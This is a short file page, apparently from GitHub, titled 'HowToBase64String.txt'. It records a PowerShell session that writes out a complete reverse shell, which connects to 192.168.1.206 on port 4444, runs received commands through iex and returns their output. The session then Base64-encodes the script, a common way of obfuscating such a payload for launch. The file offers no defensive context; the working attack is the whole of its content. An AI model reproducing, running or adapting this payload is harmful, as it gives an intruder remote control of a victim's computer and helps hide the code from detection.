-
Notifications
You must be signed in to change notification settings - Fork 1
/
HowToBase64String.txt
10 lines (7 loc) · 982 Bytes
/
HowToBase64String.txt
1
2
3
4
5
6
7
8
9
10
PS C:\Users\ImaUser\Documents\PS code> $command = {$client = New-Object System.Net.Sockets.TCPClient('192.168.1.206',4444);$stream = $client.GetStream();$greeting = 'PS' + (pwd).Path + '> ';$
sendbyte = ([text.encoding]::ASCII).GetBytes($greeting);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Leng
th)) -ne 0){ $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS' + (pwd).Path + '> ';$sen
dbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length); $stream.Flush() };$client.Close();}
PS C:\Users\ImaUser\Documents\PS code> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS C:\Users\ImaUser\Documents\PS code> $encodedString = [Convert]::ToBase64String($bytes)
PS C:\Users\ImaUser\Documents\PS code> Write-Output $encodedString